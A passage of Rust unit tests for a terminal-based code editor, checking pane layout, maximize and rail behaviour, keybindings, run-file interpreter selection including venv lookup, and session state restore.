fn a_long_pane_label_never_overpaints_the_maximize_button() {
    // The header buttons lay out right-to-left, and the `⛶` added by this span
    // is the leftmost of four, at `col.width - 13`. The pane pill's width
    // budget still reserved room for three buttons, so a label that fills its
    // budget painted straight over the glyph — worst with the broadcast `⇶`
    // or a host accent, whose prefixes widen the pill by two more cells and
    // erase it entirely. The button's hit rect stays live underneath, so those
    // cells silently maximize instead of starting the drag-reorder the pill
    // advertises.
    //
    // Both label characters are deliberate: `§` is one cell, so it pins the
    // char budget, and `項` is two, so it pins that the CLIP is measured in
    // display cells. A budget counted in chars passes the `§` case while a
    // wide-character name still runs over the button.
    for name in ["§".repeat(30), "項".repeat(30)] {
        assert_pane_pill_clears_its_buttons(&name);
    }
}

fn assert_pane_pill_clears_its_buttons(name: &str) {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for _ in 0..3 {
        app.split_terminal().unwrap();
    }
    for t in app.terminals.iter_mut() {
        t.set_manual_name(Some(String::from(name)));
    }
    // Broadcast is on so the pill wears its widest form.
    app.broadcast_input = true;
    let backend = ratatui::backend::TestBackend::new(140, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let glyph = name.chars().next().unwrap();

    let cell = |x: u16, y: u16| {
        term.backend()
            .buffer()
            .cell(ratatui::layout::Position::new(x, y))
            .unwrap()
            .symbol()
            .to_string()
    };
    let mut checked = 0;
    // Every button in the strip, not only `⛶`. Since #313 the leftmost is the
    // `‹` collapse button, and checking the old leftmost alone would leave the
    // new one free to be overpainted - the same bug this test exists for,
    // three columns over.
    let families: [(&str, &Vec<Rect>, char); 2] = [
        ("collapse", &app.terminal_collapse_buttons, '\u{eab5}'),
        ("maximize", &app.terminal_max_buttons, '\u{eb4c}'),
    ];
    for (i, pill) in app.terminal_label_rects.iter().enumerate() {
        let painted: Vec<(&str, Rect, char)> = families
            .iter()
            .filter(|(_, rects, _)| rects[i].width > 0)
            .map(|(f, rects, want)| (*f, rects[i], *want))
            .collect();
        if painted.is_empty() {
            continue;
        }
        // The pill has to run right up to the button strip, or a layout that
        // simply left it short would pass this while the bug stands. Measured
        // against the LEFTMOST button: the pill is clipped at the strip's
        // edge, so asking it to also reach the rightmost would be asking it to
        // be in two places at once.
        //
        // One cell of slack, and only one: a two-cell grapheme that would
        // straddle the clip boundary is dropped whole rather than half-painted,
        // so a `項` name legitimately stops one column short where a `§` name
        // lands exactly on it. Two cells of slack would start admitting pills
        // that were never long enough to threaten the buttons at all.
        let leftmost = painted.iter().map(|(_, r, _)| r.x).min().unwrap();
        assert!(
            pill.width > 0 && pill.x + pill.width + 1 >= leftmost,
            "pane {i}'s pill must reach the button strip for this to prove \
             anything, pill={pill:?} strip starts at {leftmost}"
        );
        for (family, btn, want) in painted {
            let cells: String = (btn.x..btn.x + btn.width).map(|x| cell(x, btn.y)).collect();
            assert!(
                !cells.contains(glyph),
                "pane {i}'s {glyph:?} label painted over its {family} button: {cells:?}"
            );
            assert!(
                cells.contains(want),
                "pane {i}'s {family} glyph must survive a {glyph:?} label, got {cells:?}"
            );
            checked += 1;
        }
    }
    assert!(
        checked >= 4,
        "this layout must paint both button families to test"
    );
}

#[test]
fn the_profile_picker_anchors_under_the_pane_that_owns_the_caret() {
    // Hidden panes push `Rect::default()` placeholders so a button's position
    // in the vec names its terminal. The picker still anchored on `.first()`,
    // which in maximize mode is the placeholder for terminal 0 whenever some
    // other pane is the maximized one, dropping the dropdown at the window's
    // top-left corner instead of under the caret it was opened from.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    assert_eq!(
        app.active_terminal, 2,
        "the newest pane is the maximized one"
    );
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let caret = app.terminal_profile_buttons[2];
    assert!(caret.width > 0, "the maximized pane paints a profile caret");
    assert_eq!(
        app.terminal_profile_buttons[0],
        ratatui::layout::Rect::default(),
        "the hidden pane holds a placeholder, which is what `.first()` found"
    );
    assert_eq!(
        app.terminal_caret_origin(2),
        (caret.x, caret.y + 1),
        "the dropdown anchors under the caret that is actually on screen"
    );

    // Side by side every pane has a live caret, so anchoring on the first
    // live one would hang every pane's dropdown under the leftmost.
    app.terminal_pane_maximized = false;
    term.draw(|f| app.render(f)).unwrap();
    let rightmost = app.terminal_profile_buttons[2];
    assert!(
        rightmost.x > app.terminal_profile_buttons[0].x,
        "the panes must really be side by side for this to prove anything"
    );
    assert_eq!(
        app.terminal_caret_origin(2),
        (rightmost.x, rightmost.y + 1),
        "each pane's dropdown anchors under its OWN caret"
    );
}

#[test]
fn a_rail_taller_than_the_panel_scrolls_instead_of_dropping_terminals() {
    // The rail painted one row per terminal and stopped at the panel's bottom
    // edge, so with more terminals than rows the tail simply vanished: no row,
    // no hit rect, and if the active terminal was among them nothing in the
    // rail was highlighted at all. The panel floor is 3 rows, so four panes
    // are enough to reach this.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for _ in 0..5 {
        app.split_terminal().unwrap();
    }
    app.terminal_pane_maximized = true;
    app.terminal_height = Some(TERMINAL_HEIGHT_MIN);
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let live = |app: &App| -> usize {
        app.terminal_rail_rects
            .iter()
            .filter(|r| r.width > 0)
            .count()
    };
    assert!(
        live(&app) < app.terminals.len(),
        "this layout must actually overflow the rail, or the test proves nothing"
    );
    assert_eq!(
        app.terminal_rail_rects.len(),
        app.terminals.len(),
        "off-window rows still hold a placeholder so a rect's position names \
         its terminal"
    );
    // The active terminal is the last one, past the window's bottom edge.
    assert!(
        app.terminal_rail_rects[app.active_terminal].width > 0,
        "the rail must scroll to keep the active terminal visible"
    );

    // The wheel reaches the terminals the window has scrolled past.
    let rail = app.terminal_rail_area;
    assert!(
        rail.width > 0,
        "the rail records its own area for the wheel"
    );
    for _ in 0..app.terminals.len() {
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::ScrollUp,
            column: rail.x,
            row: rail.y,
            modifiers: KeyModifiers::NONE,
        });
    }
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.terminal_rail_rects[0].width > 0,
        "scrolling the rail up must reach the first terminal"
    );
}

#[test]
fn reordering_a_maximized_pane_keeps_its_rect_with_the_terminal() {
    // `move_terminal` re-seats `last_area` in SLOT order, which is right for
    // the even split, where a slot's geometry is positional. Maximize mode has
    // exactly ONE live rect and it belongs to whichever pane was active at the
    // last PAINT — not to the dragged terminal, since the press and the drag
    // are drained together — so seating by slot left the pane the drag makes
    // active holding an empty rect for the rest of the burst.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    for (i, t) in app.terminals.iter_mut().enumerate() {
        t.set_manual_name(Some(format!("pane{i}")));
    }
    app.terminal_pane_maximized = true;
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.active_terminal, 2);
    let pane = app.terminals[2].last_area;
    assert!(
        pane.width > 100,
        "the maximized pane owns the panel's width"
    );

    // The real gesture: press rail row 0, drag onto row 2, with NO redraw in
    // between — the main loop drains the whole burst before painting, so the
    // live pane rect still belongs to whichever pane was active at the last
    // paint, not to the one being dragged.
    let press = app.terminal_rail_rects[0];
    let target = app.terminal_rail_rects[2];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: press.x + 1,
        row: press.y,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: target.x + 1,
        row: target.y,
        modifiers: KeyModifiers::NONE,
    });

    // The reorder must actually have happened: without this every assertion
    // below also holds when the gesture is a no-op, since slot 2 already owned
    // the pane before the drag.
    assert_eq!(
        app.terminals[2].label(),
        "pane0",
        "the dragged terminal must have moved from slot 0 to slot 2"
    );
    assert_eq!(app.active_terminal, 2, "the dragged terminal stays active");
    assert_eq!(
        app.terminals[2].last_area, pane,
        "the live pane rect follows the pane the drag leaves active"
    );
    assert!(
        app.terminals[..2].iter().all(|t| t.last_area.width == 0),
        "the hidden panes keep empty rects"
    );
    // The whole point: the next motion report in this same burst must resolve
    // to the pane that owns the panel, not to a hidden one.
    assert_eq!(
        app.terminal_at_pos(pane.x + pane.width / 2, pane.y + pane.height / 2),
        Some(2),
        "a hit inside the maximized pane names the active terminal"
    );
}

#[test]
fn delete_line_deletes_every_carets_line() {
    // Cmd+D (Add Selection to Next Match) and Cmd+Shift+K (Delete Line) landed
    // in the same commit, but Delete Line only ever removed the primary
    // cursor's line: `delete_lines` calls `clear_selection`, which clears the
    // selection and leaves `carets` untouched. VS Code's deleteLines removes
    // every cursor's line, so the two bindings must compose.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let file = tmp.path().join("a.txt");
    std::fs::write(&file, "foo\nbar\nfoo\nbaz\n").unwrap();
    app.editor.open(&file).unwrap();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;

    // Cmd+D twice: the first selects the word under the cursor, the second
    // adds the next match, demoting row 0 to a secondary caret.
    app.start_select_next_occurrence();
    app.start_select_next_occurrence();
    assert_eq!(app.editor.carets.len(), 1, "row 0 is now a secondary caret");
    assert_eq!(
        app.editor.cursor_row, 2,
        "the primary moved to the next match"
    );

    app.delete_current_line();

    assert_eq!(
        app.editor.lines,
        vec![String::from("bar"), String::from("baz")],
        "both matched lines go, not just the primary's"
    );
    assert!(
        app.editor.carets.is_empty(),
        "no stale caret is left painted on a line that no longer exists"
    );
}

#[test]
fn clicking_restore_button_returns_to_split_layout() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let r = app.terminal_max_buttons[app.active_terminal];
    assert!(r.width > 0, "the maximized pane paints a restore button");
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: r.x + 1,
        row: r.y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        !app.terminal_pane_maximized,
        "clicking the restore button leaves maximize mode"
    );
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.terminals.iter().all(|t| t.last_area.width > 0),
        "all panes are visible again after restore"
    );
    assert!(
        app.terminal_rail_rects.is_empty(),
        "the rail disappears with the split restored"
    );
}

#[test]
fn cmd_k_m_toggles_terminal_maximize() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('m'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.terminal_pane_maximized,
        "Cmd+K M maximizes the active pane"
    );
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('m'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        !app.terminal_pane_maximized,
        "Cmd+K M again restores the split"
    );
}

#[test]
fn closing_down_to_one_terminal_exits_maximize() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    assert!(app.close_terminal_at(0));
    assert!(
        !app.terminal_pane_maximized,
        "a lone terminal has nothing to maximize against; the flag resets"
    );
}

#[test]
fn cwd_of_pid_on_self_returns_a_directory_under_tempdir() {
    // The harness runs each test from the crate root by default, but
    // we don't depend on that — we just need cwd_of_pid to round-trip
    // *some* directory for the current process. lsof / /proc gives us
    // the live cwd of the shell that started the test runner.
    let pid = std::process::id();
    match cwd_of_pid(pid) {
        Some(p) => assert!(
            p.is_dir(),
            "cwd lookup must return a real directory, got {p:?}"
        ),
        None => {
            // Acceptable on platforms where neither /proc nor lsof
            // resolve the cwd in the sandbox. The fallback in
            // split_terminal handles that case; nothing to assert here.
        }
    }
}

#[test]
fn add_button_wins_over_terminal_splitter_on_same_row() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Splitter and button share the row, as they do in real layout.
    app.terminal_splitter_y = Some(30);
    app.terminal_add_buttons = vec![Rect {
        x: 50,
        y: 30,
        width: 3,
        height: 1,
    }];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 51,
        row: 30,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.splitter_drag.is_none(),
        "click on [+] must not start a splitter drag"
    );
    assert_eq!(app.terminals.len(), 2);
}

#[test]
fn peek_terminals_dirty_does_not_clear_flags() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Fresh App starts dirty so the first frame paints.
    assert!(app.peek_terminals_dirty(), "fresh app should be dirty");
    // Two consecutive peeks must both see the flag - peek must not clear.
    assert!(
        app.peek_terminals_dirty(),
        "peek must not consume the dirty flag"
    );
    // Drain consumes it.
    let drained = app.drain_terminals_dirty();
    assert!(drained, "drain after peek should still report dirty once");
    assert!(
        !app.peek_terminals_dirty(),
        "after drain, peek must be clean"
    );
}

#[test]
fn cmd_shift_g_no_longer_jumps_to_source_control() {
    // Source Control is reached via Cmd+Shift+S; the old Cmd+Shift+G alias
    // was removed so the chord stays free for the editor's vim-style
    // "go to bottom of file".
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(
        KeyCode::Char('G'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_ne!(
        app.sidebar_view,
        SidebarView::SourceControl,
        "Cmd+Shift+G must no longer route to Source Control"
    );
}

#[test]
fn activity_bar_render_lays_out_run_debug_between_source_control_and_remote() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let bar = Rect {
        x: 0,
        y: 0,
        width: ACTIVITY_BAR_WIDTH,
        height: 30,
    };
    let backend = ratatui::backend::TestBackend::new(40, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render_activity_bar(f, bar)).unwrap();
    let scm = app.sidebar_areas.source_control_icon;
    let run = app.sidebar_areas.run_debug_icon;
    let rem = app.sidebar_areas.remote_icon;
    assert!(run.height > 0, "run-debug icon must claim a non-zero block");
    assert!(
        run.y > scm.y,
        "run-debug must sit BELOW source-control (scm.y={}, run.y={})",
        scm.y,
        run.y
    );
    assert!(
        run.y < rem.y,
        "run-debug must sit ABOVE remote (run.y={}, rem.y={}) — VS Code's activity-bar order",
        run.y,
        rem.y
    );
}

#[test]
fn click_on_run_debug_icon_switches_sidebar_to_run_debug() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(80, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let run = app.sidebar_areas.run_debug_icon;
    assert!(run.height > 0, "run-debug icon must be laid out");
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: run.x,
        row: run.y,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.sidebar_view, SidebarView::RunDebug);
}

#[test]
fn run_spec_for_python_with_no_venv_falls_back_to_system_python3() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("script.py");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert_eq!(spec.program, "python3");
    assert_eq!(spec.args, vec![f.to_string_lossy().into_owned()]);
    assert_eq!(spec.cwd, tmp.path());
}

#[test]
fn run_spec_for_node_picks_node_for_dot_js() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("server.js");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert_eq!(spec.program, "node");
    assert_eq!(spec.args, vec![f.to_string_lossy().into_owned()]);
}

#[test]
fn run_spec_for_bash_picks_bash_for_dot_sh() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("build.sh");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert_eq!(spec.program, "bash");
    assert_eq!(spec.args, vec![f.to_string_lossy().into_owned()]);
}

#[test]
fn run_spec_for_unknown_extension_returns_none() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("notes.txt");
    std::fs::write(&f, b"").unwrap();
    assert!(App::run_spec_for(&f, tmp.path()).is_none());
}

#[test]
fn run_spec_passes_apostrophe_paths_through_argv_unescaped() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("O'Reilly.py");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert_eq!(
        spec.args,
        vec![f.to_string_lossy().into_owned()],
        "argv carries the path verbatim — no shell quoting because no shell is invoked"
    );
}

/// Drop a fake `bin/python` shim in `dir/.venv/bin/python` so the venv
/// detector finds an executable file. Returns the full path to the shim
/// for assertions.
fn make_venv(dir: &Path, venv_name: &str) -> PathBuf {
    let bin = dir.join(venv_name).join("bin");
    std::fs::create_dir_all(&bin).unwrap();
    let py = bin.join("python");
    std::fs::write(&py, b"#!/bin/sh\nexit 0\n").unwrap();
    #[cfg(unix)]
    {
        use std::os::unix::fs::PermissionsExt;
        let mut perms = std::fs::metadata(&py).unwrap().permissions();
        perms.set_mode(0o755);
        std::fs::set_permissions(&py, perms).unwrap();
    }
    py
}

#[test]
fn run_spec_picks_dot_venv_python_in_the_file_directory_over_system_python3() {
    // Reproduces the user-reported case: croft is opened on a parent
    // directory, the file lives in a subfolder that owns a .venv, and
    // running the file with system python3 misses the project's deps.
    let tmp = tempfile::tempdir().unwrap();
    let project = tmp.path().join("project");
    std::fs::create_dir_all(&project).unwrap();
    let venv_python = make_venv(&project, ".venv");
    let f = project.join("main.py");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert_eq!(
        spec.program,
        venv_python.to_string_lossy().into_owned(),
        "venv interpreter must be the spawned program (looked for {})",
        venv_python.display()
    );
    assert_eq!(spec.args, vec![f.to_string_lossy().into_owned()]);
    assert_eq!(
        spec.cwd, project,
        "cwd must be the directory that owns the venv so relative imports / .env files resolve"
    );
}

#[test]
fn run_spec_walks_up_from_file_dir_to_find_venv_in_an_ancestor() {
    let tmp = tempfile::tempdir().unwrap();
    let project = tmp.path().join("project");
    let nested = project.join("src").join("pkg");
    std::fs::create_dir_all(&nested).unwrap();
    make_venv(&project, ".venv");
    let f = nested.join("main.py");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert!(
        spec.program.ends_with(".venv/bin/python"),
        "expected venv python program, got: {}",
        spec.program
    );
    assert_eq!(spec.cwd, project);
}

#[test]
fn run_spec_also_picks_a_plain_venv_directory() {
    let tmp = tempfile::tempdir().unwrap();
    make_venv(tmp.path(), "venv");
    let f = tmp.path().join("main.py");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, tmp.path()).unwrap();
    assert!(
        spec.program.ends_with("venv/bin/python"),
        "expected plain-venv python program, got: {}",
        spec.program
    );
}

#[test]
fn run_spec_does_not_walk_above_workspace_root() {
    let tmp = tempfile::tempdir().unwrap();
    // venv lives ABOVE the workspace root — must be ignored.
    make_venv(tmp.path(), ".venv");
    let workspace = tmp.path().join("inner");
    std::fs::create_dir_all(&workspace).unwrap();
    let f = workspace.join("main.py");
    std::fs::write(&f, b"").unwrap();
    let spec = App::run_spec_for(&f, &workspace).unwrap();
    assert_eq!(
        spec.program, "python3",
        "must NOT use a venv that sits above the workspace root, got: {}",
        spec.program
    );
}

#[test]
fn run_active_file_with_no_open_file_records_feedback_and_does_not_spawn_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let term_count_before = app.terminals.len();
    app.run_active_file();
    assert_eq!(
        app.terminals.len(),
        term_count_before,
        "no file open: must NOT spawn an extra terminal"
    );
    assert!(app.run_debug.feedback_is_error);
    assert!(app.run_debug.feedback.is_some());
}

#[test]
fn run_active_file_with_unknown_extension_records_feedback_and_does_not_spawn_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("notes.txt");
    std::fs::write(&f, b"hi").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    let term_count_before = app.terminals.len();
    app.run_active_file();
    assert_eq!(app.terminals.len(), term_count_before);
    assert!(app.run_debug.feedback_is_error);
}

#[test]
fn run_active_file_with_python_file_spawns_a_new_terminal_and_focuses_it() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hello.py");
    std::fs::write(&f, b"print('hi')\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    let term_count_before = app.terminals.len();
    app.run_active_file();
    assert_eq!(
        app.terminals.len(),
        term_count_before + 1,
        "running a known extension must spawn a fresh terminal so the previous one's history isn't clobbered"
    );
    assert!(app.show_terminal, "terminal pane must become visible");
    assert!(matches!(app.focus, Pane::Terminal));
    assert!(!app.run_debug.feedback_is_error);
}

#[test]
fn focus_flag_only_set_on_active_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.focus_pane(Pane::Terminal);
    let active = app.active_terminal;
    for (i, t) in app.terminals.iter().enumerate() {
        assert_eq!(t.focused, i == active);
    }
    app.focus_pane(Pane::Editor);
    for t in &app.terminals {
        assert!(!t.focused);
    }
}

#[test]
fn f9_relaunches_only_when_update_is_ready() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Not ready: F9 must not arm the re-exec.
    let _ = app.handle_key(key(KeyCode::F(9), KeyModifiers::empty()));
    assert!(!app.pending_reexec);
    assert!(!app.quit);

    // Ready: F9 arms the re-exec and quits the loop so `run` can exec.
    app.update_status = UpdateStatus::Ready;
    let _ = app.handle_key(key(KeyCode::F(9), KeyModifiers::empty()));
    assert!(app.pending_reexec);
    assert!(app.quit);
}

#[test]
fn bare_f10_reaches_the_shell_when_terminal_is_focused_with_no_debug_session() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A pane that prints back the raw bytes it reads: F10 must arrive as
    // \x1b[21~, which `cat -v` renders as ^[[21~. That sentinel never appears
    // in the script text, so the echoed run-label header cannot fake a pass.
    let script = "stty raw -echo; dd bs=1 count=5 2>/dev/null | cat -v; sleep 60";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    let _ = app.handle_key(key(KeyCode::F(10), KeyModifiers::NONE));
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "F10 to reach the PTY rather than being swallowed",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("^[[21~"))
        },
    );
}

#[test]
fn bare_f9_reexecs_a_ready_update_even_when_the_terminal_is_focused() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.update_status = UpdateStatus::Ready;
    let _ = app.handle_key(key(KeyCode::F(9), KeyModifiers::empty()));
    assert!(
        app.pending_reexec && app.quit,
        "a landed update must still win F9 over PTY forwarding"
    );
}

#[test]
fn session_state_round_trip_reopens_tabs_at_saved_cursor_and_active() {
    let tmp = tempfile::tempdir().unwrap();
    let file_a = tmp.path().join("a.txt");
    let file_b = tmp.path().join("b.txt");
    std::fs::write(&file_a, "line0\nline1\nline2\n").unwrap();
    std::fs::write(&file_b, "only\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file_a).unwrap();
    app.editor.open_pinned(&file_b).unwrap();
    // Park the cursor on a.txt and make it the active tab.
    let idx_a = app
        .editor
        .editors
        .iter()
        .position(|e| e.path.as_deref() == Some(file_a.as_path()))
        .unwrap();
    app.editor.editors[idx_a].cursor_row = 2;
    app.editor.editors[idx_a].cursor_col = 3;
    app.editor.select(idx_a);

    let state = app.capture_session_state();
    assert_eq!(state.tabs.len(), 2);
    assert_eq!(
        state.tabs[state.active_tab].path.as_deref(),
        Some(file_a.as_path())
    );

    let mut restored = App::new(tmp.path().to_path_buf()).unwrap();
    restored.apply_session_state(&state);
    let restored_paths: Vec<_> = restored
        .editor
        .editors
        .iter()
        .filter_map(|e| e.path.clone())
        .collect();
    assert!(restored_paths.contains(&file_a));
    assert!(restored_paths.contains(&file_b));
    let active = &restored.editor.editors[restored.editor.active_index()];
    assert_eq!(active.path.as_deref(), Some(file_a.as_path()));
    assert_eq!(active.cursor_row, 2);
    assert_eq!(active.cursor_col, 3);
}

#[test]
fn session_state_preserves_unsaved_buffer_contents() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("dirty.txt");
    std::fs::write(&file, "saved\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    let idx = app.editor.active_index();
    app.editor.editors[idx].lines = vec![String::from("edited unsaved")];
    app.editor.editors[idx].dirty = true;

    let state = app.capture_session_state();
    let tab = state
        .tabs
        .iter()
        .find(|t| t.path.as_ref() == Some(&file))
        .unwrap();
    assert!(tab.dirty);
    assert_eq!(tab.unsaved_text.as_deref(), Some("edited unsaved"));

    let mut restored = App::new(tmp.path().to_path_buf()).unwrap();
    restored.apply_session_state(&state);
    let ed = restored
        .editor
        .editors
        .iter()
        .find(|e| e.path.as_deref() == Some(file.as_path()))
        .unwrap();
    assert!(ed.dirty);
    assert_eq!(ed.lines, vec![String::from("edited unsaved")]);
    // On-disk file must be untouched by the capture/restore.
    assert_eq!(std::fs::read_to_string(&file).unwrap(), "saved\n");
}

/// A relaunch carries the unsaved text of every split, not just the
/// focused one.
#[test]
fn session_state_keeps_unsaved_edits_from_every_split() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let c = tmp.path().join("c.txt");
    std::fs::write(&a, "a\n").unwrap();
    std::fs::write(&c, "c\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.lines = vec![String::from("edited a")];
    app.editor.dirty = true;
    app.focus_pane(Pane::Editor);
    app.split_editor();
    // The focused (right) group moves to another file and closes its copy.
    app.editor.open_pinned(&c).unwrap();
    app.editor.close_tab(0);
    let state = app.capture_session_state();
    let tab = state
        .tabs
        .iter()
        .find(|t| t.path.as_ref() == Some(&a))
        .expect("the left split's dirty tab is carried");
    assert_eq!(tab.unsaved_text.as_deref(), Some("edited a"));
}

/// A self-update must not drop the only copy of unsaved text: neither an
/// untitled buffer's nor that of a file deleted while the update ran.
#[test]
fn session_state_keeps_unsaved_untitled_and_unreadable_buffers() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("gone.txt");
    std::fs::write(&file, "saved\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.lines = vec![String::from("scratch notes")];
    app.editor.dirty = true;
    app.editor.open_pinned(&file).unwrap();
    app.editor.lines = vec![String::from("edited gone")];
    app.editor.dirty = true;
    let state = app.capture_session_state();
    assert_eq!(state.tabs.len(), 2);
    std::fs::remove_file(&file).unwrap();

    let mut restored = App::new(tmp.path().to_path_buf()).unwrap();
    restored.apply_session_state(&state);
    let eds = &restored.editor.editors;
    let untitled = eds.iter().find(|e| e.path.is_none()).unwrap();
    assert!(untitled.dirty);
    assert_eq!(untitled.lines, vec![String::from("scratch notes")]);
    let gone = eds
        .iter()
        .find(|e| e.path.as_deref() == Some(file.as_path()))
        .unwrap();
    assert!(gone.dirty);
    assert_eq!(gone.lines, vec![String::from("edited gone")]);
    assert_eq!(eds.len(), 2, "the blank initial tab is reused");

    // A blank untitled buffer is not carried.
    let blank = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(blank.capture_session_state().tabs.is_empty());
}

#[test]
fn build_tab_context_menu_items_includes_all_four_close_actions_in_the_middle_of_a_strip() {
    // Right-click on tab 1 of 3 (i.e. a middle tab) should surface
    // every close action — there's at least one tab on each side.
    let items = build_tab_context_menu_items(1, 3, false, None, false, false, false);
    assert_eq!(
        menu_labels(&items),
        [
